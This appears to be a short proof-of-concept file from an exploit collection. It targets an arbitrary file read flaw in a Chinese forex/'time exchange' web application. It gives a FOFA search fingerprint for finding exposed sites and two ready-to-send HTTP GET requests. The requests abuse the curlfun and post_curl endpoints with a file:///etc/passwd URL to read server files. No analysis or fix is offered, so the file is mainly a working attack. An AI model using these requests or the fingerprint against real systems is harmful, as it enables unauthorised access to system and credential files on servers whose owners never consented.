POC/wpoc/交易所系统/仿新浪外汇余额宝时间交易所任意文件读取.md
eeeeeeeeee-code 06c8413e64 first commit
2025-03-04 23:12:57 +08:00

526 B

仿新浪外汇余额宝时间交易所任意文件读取

image-20240616192357166

fofa

"/static/index/css/ionic.css" && "devework.com"

poc

GET /index.php/index/Api/curlfun?url=file:///etc/passwd   HTTP/1.1
Host: 
GET /index.php/index/Api/post_curl?url=file:///etc/passwd&data=1  HTTP/1.1
Host: 

image-20240616192912529